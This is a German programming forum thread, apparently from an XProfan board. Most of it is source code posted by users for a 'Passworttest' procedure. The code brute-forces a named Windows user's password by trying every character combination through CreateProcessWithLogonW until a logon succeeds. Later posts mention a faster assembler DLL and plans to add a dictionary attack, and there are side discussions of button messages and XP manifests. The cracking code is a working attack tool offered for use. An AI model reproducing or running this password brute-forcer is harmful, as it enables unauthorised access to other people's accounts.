Stammtisch & Café | | | | - Seite 1 - |
| | Ha jemand etwas genauere Daten um wieviel MASM32 schneller ist als Profan? Hat das mal jemand getestet? |
| | | | |
| | | | | - Seite 2 - |
| | Hallo Frank...
Besten Dank, daß du dir den Code schon mal angesehen hast. Da habe ich mir wirlich einige Anfängerschnitzer eingebaut. - Einen Variablennamen falsch geschrieben, - eine überflüssige Addition drin, - XP Neuerungen nicht bedacht, - Variable nicht richtig gelöscht
Ich will mal hoffen, daß die Message für die Buttonabfrage unter XP sich nicht geändert hat (es sind auf jeden Fall Werte dazugekommen) - sonst nimm zur Not in Profan @GETFOCUS. Ich hätte mir eigentlich denken können, daß das so nicht klappt => euer Problem mit den ToolTipps unter XP.
Die Fehlermeldung bei CreateProcessWithLogonW war etwas komplizierter. Wenn man nicht jedes Mal vorher dien Inhalt der zwei letzten Parameter löscht, kann es vorkommen (je nach dem, was sonst noch Text im Code steht), daß diese Variablen mit Sinnlosem Code gefüllt werden. Sie müssen deshalb jedes Mal vor dem Aufruf der Funktion auf Null gesetzt werden (stand auch schon im Quelltext).
Ich will mal hoffen das es jetzt auch bei dir funktioniert und ich nicht noch mehr Mist eingebaut habe:
Die Prozedur PWCHECK soll in die DLL
Proc PWCHECK
Parameters PPPR$,ANSTRING$,AbbruchbuttonHandle&,AnfangsZeichen$,Zeichen_im_Wort$,PWWORT$,Ausgabefenster&,Buchstabenanzahl&
1.Parameter=zu startendes Programm
2.Parameter=Name des Users dessen Passwort ermittelt werden soll
3.Parameter=Handle des Abbruchbuttons auf dem Hauptfenster
4.Parameter=Welche Buchstaben als ersten Buchstaben setzen (Groß-/Kleinschreibung)?
5.Parameter=Welche Buchstaben für die anderen Buchstaben im Wort setzen (Kleinschreibung)
6.Parameter=Passwort, falls schon bekannt
7.Parameter=Wo soll das Passwort ausgegeben werden?
8.Parameter=Anzahl der durchzurechnenden Buchstaben
DECLARE COUNT%,Zähler%[41]
Declare BYTE%,PW$,PW#,DomainN#,SIDT#,DNSize#,NDomain$,PHTOKEN#,SIDAN#,SIDS#
Declare ENDE%,FERGEBNIS&,ACP&,PW2$,MESS%,StartZeit$,StartDatum$,PANTWORT%
Declare lpStartupinfo#,lpProcessInformation#
Declare PPROGRAMM#,PUSERNAME#,PPASSWORT#,Domainw#
Declare Anfangszeichen#,Zeichen#,PLUS%
DIM DOMAINN#,256
DIM SIDT#,4
DIM SIDS#,4
DIM DNSize#,4
DIM SIDAN#,800
DIM PHTOKEN#,4
Dim lpStartupInfo#,68
Dim lpProcessInformation#,16
DIM PPROGRAMM#,(@LEN(PPPR$)*2)+1
DIM PUSERNAME#,(@LEN(ANSTRING$)*2)+1
DIM PPASSWORT#,256
DIM Anfangszeichen#,300
DIM Zeichen#,300
Bei der LSA besonders wichtig - alle Variablen mit Null füllen
Clear DOMAINN#,SIDT#,DNSize#,SIDAN#,PHTOKEN#
Clear PPROGRAMM#,PPASSWORT#,Anfangszeichen#,Zeichen#
@External("Kernel32","RtlZeroMemory",lpProcessInformation#,16)
@External("Kernel32","RtlZeroMemory",lpStartupinfo#,68)
Strings werden in Bereiche geschrieben
String Anfangszeichen#,0=Anfangszeichen$
String Zeichen#,0=Zeichen_im_Wort$
LONG DNSize#,0=256
LONG SIDS#,0=800
In diese API stecke ich Usernamen und bekomme die Domain und den SID heraus
@External("advapi32","LookupAccountNameA",0,@ADDR(ANSTRING$),SIDAN#,SIDS#,DomainN#,DNSize#,SIDT#)
LET NDOMAIN$=@STRING$(DOMAINN#,0)
Ich brauche einen Unicode String und dimensioniere die Variable für den Domain String entsprechend
DIM Domainw#,(@LEN(NDOMAIN$)*2)+1
LET StartZeit$=@TIME$(0) Kann evtl. weg
LET STARTDATUM$=@DATE$(0) Kann evtl. weg
DIM PW#,256
CLEAR PW#
LET COUNT%=0
Ich wandele hier die Strings in Unicode Strings um
LET ACP&=@EXTERNAL("kernel32","GetACP")
@EXTERNAL("kernel32","MultiByteToWideChar",ACP&,0,@addr(PPPR$),-1,PPROGRAMM#,(@LEN(PPPR$)*2)+1)
@EXTERNAL("kernel32","MultiByteToWideChar",ACP&,0,@addr(NDomain$),-1,Domainw#,(@LEN(NDomain$)*2)+1)
@EXTERNAL("kernel32","MultiByteToWideChar",ACP&,0,@addr(ANSTRING$),-1,PUSERNAME#,(@LEN(ANSTRING$)*2)+1)
LET Zähler%[0]=1
LET COUNT%=0
LET BYTE%=0
Long lpStartupInfo#,0=68
WHILENOT ENDE%
SET("FastMode",0) Streichen
Vierzig Buchstaben reicht
IF COUNT%>Buchstabenanzahl&
LET ENDE%=1
endif
Wenn im Hauptfenster Abbruch gedrückt wurde soll beendet werden
IF @sendmessage(Button&,$00F2,0,0)=108
Messagebox wäre schön, muß aber nicht sein
LET PANTWORT%=@MESSAGEBOX("Test befindet sich im Augenblick bei "+@STRING$(pw#,0)+".
Test wurde am "+STARTDATUM$+" um "+StartZeit$+" gestartet.","Wollen Sie den Test wirklich abbrechen?",292)
CASE PANTWORT%=6 : LET ENDE%=1
ENDIF
SET("FastMode",1)
Alle möglichen Bustabenkombinationen sollen durchgegangen werden
IF PWWORT$=""
IF Count%=0
LET BYTE%=@BYTE(Anfangszeichen#,Zähler%[COUNT%]-1)
else
LET BYTE%=@BYTE(Zeichen#,Zähler%[COUNT%]-1)
endif
IF BYTE%=0
WHILE BYTE%=0
LET Zähler%[COUNT%]=1
BYTE pw#,COUNT%=Zähler%[COUNT%]
INC COUNT%
LET Zähler%[COUNT%]=Zähler%[COUNT%]+1
LET BYTE%=@BYTE(Zeichen#,Zähler%[COUNT%]-1)
WEND
else
LET Zähler%[COUNT%]=Zähler%[COUNT%]+1
endif
BYTE pw#,COUNT%=BYTE%
ELSE
String pw#,0=PWWORT$
LET ENDE%=1
endif
LET PW2$=@STRING$(pw#,0)
LET COUNT%=0
Ich brauche wieder einen Unicode String
@EXTERNAL("kernel32","MultiByteToWideChar",ACP&,0,@addr(PW2$),-1,PPASSWORT#,256)
Die Funktion gibt nur 1 zurück, wenn das Passwort richtig war
SET("FastMode",0)
@External("Kernel32","RtlZeroMemory",lpProcessInformation#,16)
@External("Kernel32","RtlZeroMemory",lpStartupinfo#,68)
Long lpStartupInfo#,0=68
LET FERGEBNIS&=@External("advapi32","CreateProcessWithLogonW",PUSERNAME#,Domainw#,PPASSWORT#,0,0,PPROGRAMM#,0,0,0,lpStartupInfo#,lpProcessInformation#)
IF FERGEBNIS&=1
LET ENDE%=1
LET PW$=@STRING$(PW#,0)
ENDIF
wend
SET("FastMode",0)
DISPOSE PW#
DISPOSE DOMAINN#
DISPOSE SIDT#
DISPOSE DNSize#
DISPOSE SIDAN#
DISPOSE PHTOKEN#
DISPOSE SIDS#
DISPOSE lpStartupInfo#
DISPOSE lpProcessInformation#
Settext Ausgabefenster&,PW$
ENDPROC
Das soll nicht in die DLL
WINDOWSTYLE 31+512
WINDOWTITLE "Passworttest"
WINDOW 0,0-640,440
Declare Button&,EDIT&,START&,IN$
LET EDIT&=@CREATEEDIT(%HWND,"",20,20,200,20)
LET Start&=@CREATEBUTTON(%HWND,"Start",20,300,150,30)
LET Button&=@CREATEBUTTON(%HWND,"Abbruch",200,300,150,30)
Enablewindow Button&,0
Whilenot @or(@sendmessage(Start&,$00F2,0,0)=108,%MENUITEM=-2)
Waitinput
WEND
Enablewindow Edit&,0
Enablewindow Start&,0
Enablewindow Button&,1
LET IN$=@GETTEXT$(EDIT&)
Usecursor 2
PWCHECK @shortname$($WINPATH+"Notepad.EXE"),IN$,Button&,"ABCDEFGHIHKLMNOPQRSTUVWXYZÄÖÜßäöüabcdefghijklmnopqrstuvwxyz","ßäöüabcdefghijklmnopqrstuvwxyz","",Edit&,7
Usecursor 0
Nein, es werden keine Buchstaben abgehakt sonder immer wieder gedreht. Das Ganze ist nichts anderes als Zählen, hier aber nicht im Binär-, Octal- oder Hexalsystem sonder hier mit 26 bis maximal 255 unterschiedlichen Zuständen pro Stelle. |
| | | | |
| | Frank Abbing | Hi,
[quote:806da4d370]Nein, es werden keine Buchstaben abgehakt sonder immer wieder gedreht. Das Ganze ist nichts anderes als Zählen, hier aber nicht im Binär-, Octal- oder Hexalsystem sonder hier mit 26 bis maximal 255 unterschiedlichen Zuständen pro Stelle.[/quote:806da4d370] Ja, verstanden.
Dein Progrämmchen findet nach wie vor nichts. Der Abbruch-Button hat auch keine Wirkung. Hab momentan nicht viel Zeit, aber ich mach das Assemblersuchen fertig, wenn es wieder geht. |
| | | | |
| | | Hallo Frank...
Du mußt deinen Accountnamen eingeben, nicht den Namen, den dir WindowsXP anzeigt. Schau mal im Ordner Dokunente und Einstellungen nach den dort vorhandenen Verzeichnisnamen, das sind die unter anderem die Accountnamen. Außerdem hatte ich noch einen falschen Parameter bei MultiByteToWideChar drin. Die 2 muß weg und eine 0 rein (ich ändere es oben). Hier mal noch was mit Anzeigeoption:
Die Prozedur PWCHECK soll in die DLL
Proc PWCHECK
Parameters PPPR$,ANSTRING$,AbbruchbuttonHandle&,AnfangsZeichen$,Zeichen_im_Wort$,PWWORT$,Ausgabefenster&,Buchstabenanzahl&,ANZ&
1.Parameter=zu startendes Programm
2.Parameter=Name des Users dessen Passwort ermittelt werden soll
3.Parameter=Handle des Abbruchbuttons auf dem Hauptfenster
4.Parameter=Welche Buchstaben als ersten Buchstaben setzen (Groß-/Kleinschreibung)?
5.Parameter=Welche Buchstaben für die anderen Buchstaben im Wort setzen (Kleinschreibung)
6.Parameter=Passwort, falls schon bekannt
7.Parameter=Wo soll das Passwort ausgegeben werden?
8.Parameter=Anzahl der durchzurechnenden Buchstaben
DECLARE COUNT%,Zähler%[41]
Declare BYTE%,PW$,PW#,DomainN#,SIDT#,DNSize#,NDomain$,PHTOKEN#,SIDAN#,SIDS#
Declare ENDE%,FERGEBNIS&,ACP&,PW2$,MESS%,StartZeit$,StartDatum$,PANTWORT%
Declare lpStartupinfo#,lpProcessInformation#
Declare PPROGRAMM#,PUSERNAME#,PPASSWORT#,Domainw#
Declare Anfangszeichen#,Zeichen#,PLUS%
DIM DOMAINN#,256
DIM SIDT#,4
DIM SIDS#,4
DIM DNSize#,4
DIM SIDAN#,800
DIM PHTOKEN#,4
Dim lpStartupInfo#,68
Dim lpProcessInformation#,16
DIM PPROGRAMM#,(@LEN(PPPR$)*2)+1
DIM PUSERNAME#,(@LEN(ANSTRING$)*2)+1
DIM PPASSWORT#,256
DIM Anfangszeichen#,300
DIM Zeichen#,300
Bei der LSA besonders wichtig - alle Variablen mit Null füllen
Clear DOMAINN#,SIDT#,DNSize#,SIDAN#,PHTOKEN#
Clear PPROGRAMM#,PPASSWORT#,Anfangszeichen#,Zeichen#
@External("Kernel32","RtlZeroMemory",lpProcessInformation#,16)
@External("Kernel32","RtlZeroMemory",lpStartupinfo#,68)
Strings werden in Bereiche geschrieben
String Anfangszeichen#,0=Anfangszeichen$
String Zeichen#,0=Zeichen_im_Wort$
LONG DNSize#,0=256
LONG SIDS#,0=800
In diese API stecke ich Usernamen und bekomme die Domain und den SID heraus
@External("advapi32","LookupAccountNameA",0,@ADDR(ANSTRING$),SIDAN#,SIDS#,DomainN#,DNSize#,SIDT#)
LET NDOMAIN$=@STRING$(DOMAINN#,0)
Ich brauche einen Unicode String und dimensioniere die Variable für den Domain String entsprechend
DIM Domainw#,(@LEN(NDOMAIN$)*2)+1
DIM PW#,256
CLEAR PW#
LET COUNT%=0
Ich wandele hier die Strings in Unicode Strings um
LET ACP&=@EXTERNAL("kernel32","GetACP")
@EXTERNAL("kernel32","MultiByteToWideChar",ACP&,0,@addr(PPPR$),-1,PPROGRAMM#,(@LEN(PPPR$)*2)+1)
@EXTERNAL("kernel32","MultiByteToWideChar",ACP&,0,@addr(NDomain$),-1,Domainw#,(@LEN(NDomain$)*2)+1)
@EXTERNAL("kernel32","MultiByteToWideChar",ACP&,0,@addr(ANSTRING$),-1,PUSERNAME#,(@LEN(ANSTRING$)*2)+1)
LET Zähler%[0]=1
LET COUNT%=0
LET BYTE%=0
Long lpStartupInfo#,0=68
WHILENOT ENDE%
SET("FastMode",0)
IF @or(@sendmessage(Button&,$00F2,0,0)=108,COUNT%>Buchstabenanzahl&)
LET ENDE%=1
ENDIF
SET("FastMode",1)
IF PWWORT$=""
IF Count%=0
LET BYTE%=@BYTE(Anfangszeichen#,Zähler%[COUNT%]-1)
else
LET BYTE%=@BYTE(Zeichen#,Zähler%[COUNT%]-1)
endif
IF BYTE%=0
WHILE BYTE%=0
LET Zähler%[COUNT%]=1
BYTE pw#,COUNT%=Zähler%[COUNT%]
INC COUNT%
LET Zähler%[COUNT%]=Zähler%[COUNT%]+1
LET BYTE%=@BYTE(Zeichen#,Zähler%[COUNT%]-1)
WEND
else
LET Zähler%[COUNT%]=Zähler%[COUNT%]+1
endif
BYTE pw#,COUNT%=BYTE%
ELSE
String pw#,0=PWWORT$
LET ENDE%=1
endif
LET PW2$=@STRING$(pw#,0)
LET COUNT%=0
@EXTERNAL("kernel32","MultiByteToWideChar",ACP&,0,@addr(PW2$),-1,PPASSWORT#,256)
CASE @Getcheck(Anz&) : SETTEXT Ausgabefenster&,PW2$
@External("Kernel32","RtlZeroMemory",lpStartupinfo#,68)
Long lpStartupInfo#,0=68
LET FERGEBNIS&=@External("advapi32","CreateProcessWithLogonW",PUSERNAME#,Domainw#,PPASSWORT#,0,0,PPROGRAMM#,0,0,0,lpStartupInfo#,lpProcessInformation#)
IF FERGEBNIS&=1
LET ENDE%=1
LET PW$=@STRING$(PW#,0)
ENDIF
wend
SET("FastMode",0)
DISPOSE PW#
DISPOSE DOMAINN#
DISPOSE SIDT#
DISPOSE DNSize#
DISPOSE SIDAN#
DISPOSE PHTOKEN#
DISPOSE SIDS#
DISPOSE lpStartupInfo#
DISPOSE lpProcessInformation#
Settext Ausgabefenster&,PW$
ENDPROC
Das soll nicht in die DLL
WINDOWSTYLE 31+512
WINDOWTITLE "Passworttest"
WINDOW 0,0-640,440
Declare Button&,EDIT&,START&,IN$,BA&,BI&,Ausgabe&,Anzeigen&
LET EDIT&=@CREATEEDIT(%HWND,"",20,20,200,20)
LET Ba&=@CREATEEDIT(%HWND,"ABCDEFGHIHKLMNOPQRSTUVWXYZÄÖÜßäöüabcdefghijklmnopqrstuvwxyz",20,50,200,20)
LET Bi&=@CREATEEDIT(%HWND,"ßäöüabcdefghijklmnopqrstuvwxyz",20,80,200,20)
LET Anzeigen&=@CREATECheckbox(%HWND,"Verlauf Anzeigen",20,110,200,20)
LET Ausgabe&=@CREATEText(%HWND,"",20,150,200,20)
LET Start&=@CREATEBUTTON(%HWND,"Start",20,300,150,30)
LET Button&=@CREATEBUTTON(%HWND,"Abbruch",200,300,150,30)
Enablewindow Button&,0
Whilenot @or(@sendmessage(Start&,$00F2,0,0)=108,%MENUITEM=-2)
Waitinput
Case %MENUITEM=-2 : END
WEND
Enablewindow Edit&,0
Enablewindow Ba&,0
Enablewindow Bi&,0
Enablewindow Start&,0
Enablewindow Button&,1
LET IN$=@GETTEXT$(EDIT&)
Usecursor 2
Locate 20,0
Print "Funktion wurde am "+@Date$(1)+" um "+@TIME$(0)+" Uhr gestartet..."
PWCHECK @shortname$($WINPATH+"Notepad.EXE"),IN$,Button&,@GetText$(Ba&),@GetText$(Bi&),"",Ausgabe&,7,Anzeigen&
Usecursor 0
Waitinput
|
| | | | |
| | | Ach ja...
BUTTON :roll:
Dazu mal ein Test:
cls
Declare Button&
Let Button&=@createbutton(%HWND,"OK",10,10,100,30)
While 0=0
Drawtext 0,100,@str$(@sendmessage(Button&,$00F2,0,0))+" "
sleep 10
wend
Die Message Fragt den Status des Buttons ab. Folgende Werte gibt sie bei mir zurück: - Button nicht gedrückt=0 - Mauscursor liegt auf Button=keine Änderung - Button gedrückt=108 - Focus liegt auf Button=8 - Focus liegt nicht auf Button=0
Ich habe den Verdacht das XProfan mit Manifest hier andere und noch mehr Werte zurückgiebt. Wenn ja, dürfte das auch der Grund für das Tooltipp Problem unter XP sein... |
| | | | |
| | Frank Abbing | Hi,
Aber die Tooltippgeschichte wird doch von Windows verwaltet... |
| | | | |
| | | [quote:c026f5ab54] Aber die Tooltippgeschichte wird doch von Windows verwaltet... [/quote:c026f5ab54] Der Status des Buttons doch auch, oder? Ich gehe mal ganz stark davon aus, daß der Status des Buttons, wenn er noch nicht gedrückt wurde und der Mauscursor auf ihm ruht nicht 512 ist - ist das richtig? Genau da liegt wohl das Problem mit den Tooltipps - ich kanns leider nicht testen, aber ich denke ich hab recht.
PS: Entfern das Manifest und mein Quelltext läuft. |
| | | | |
| | Frank Abbing | Hi,
Du irrst dich. Er ist dann 512. Wie schon geschrieben Hab den MASM-Code fertig und poste ihn gleich. |
| | | | |
| | Frank Abbing | Hi,
so, hier das Testprogramm. Passwörter müssen Großbuchstaben sein. Die Zeiten zum Errechnen decken sich mit den Werten von der Webpage, die iF hier gepostet hatte, für 26er Passwörter.
Der Assemblercode ist noch nicht optimiert und benutzt zum Vergleich der Strings die API lstrcmp(), die aber sehr schnell arbeitet. |
| | | | |
| | | | - Seite 3 - |
| | Rolf Koch | Hi AH,
[quote:2bf116be6f] Entfern das Manifest und mein Quelltext läuft [/quote:2bf116be6f] Um Gottes Willen - weist Du eigentlich wie schäbig das alte Design von Windows aussieht, wenn man von Win 9x auf XP umgestiegen ist. In meinen Augen ist die Manifest eins der wichtigen Dinge der Windows Neuerungen.
Ich lach mich tot, wenn ich heute die globigen viereckigen langweiligen Buttons sehe. Gibt designtechnisch nix schlimmeres.
Aufm MAC war das vorher schon schöner. Flach und Hovermässig. Frisch wie hier die Community.
Rolf |
| | | | |
| | | Hallöchen Rolf...
Ich denke mal, man sollte sich zumindestens sehr genau damit auseinandersetzen was da genau verbogen wird - und wie man hier sieht scheinen das ganz grundlegende Sachen zu sein... |
| | | | |
| | Rolf Koch | ... da gebe ich Dir natürlich absolut Recht, AH. Ich habe es ja nur aus Sicht des Designs und nicht aus Sicht des Ablaufs gesehen. Ist halt Schade, daß die Manifest auch andere Messages auslöst.
Rolf |
| | | | |
| | | Hallo Frank...
Besten Dank für deine Test DLL. Das war genau das, was ich erst einmal gebraucht habe. Man könnte also bis zum fünften Buchstaben über eine MASM DLL gehen und danach das Passwort mit Wörtern aus einem Wörterbuch beschießen. Ich habe jetzt etwas länger Fortbildung und Nachtschicht, danach werde ich mich an ein Programm begeben, das mir automatisch Wörter für dieses Wörterbuch sammelt.
@Rolf: Was nützt das schönste Design wenn Buttons, Tooltipps und Groupboxes nicht mehr funktionieren weil die Rückgaben von Messages einfach verschoben werden? |
| | | | |
|
AntwortenThemenoptionen | 25.038 Betrachtungen |
ThemeninformationenDieses Thema hat 4 Teilnehmer: |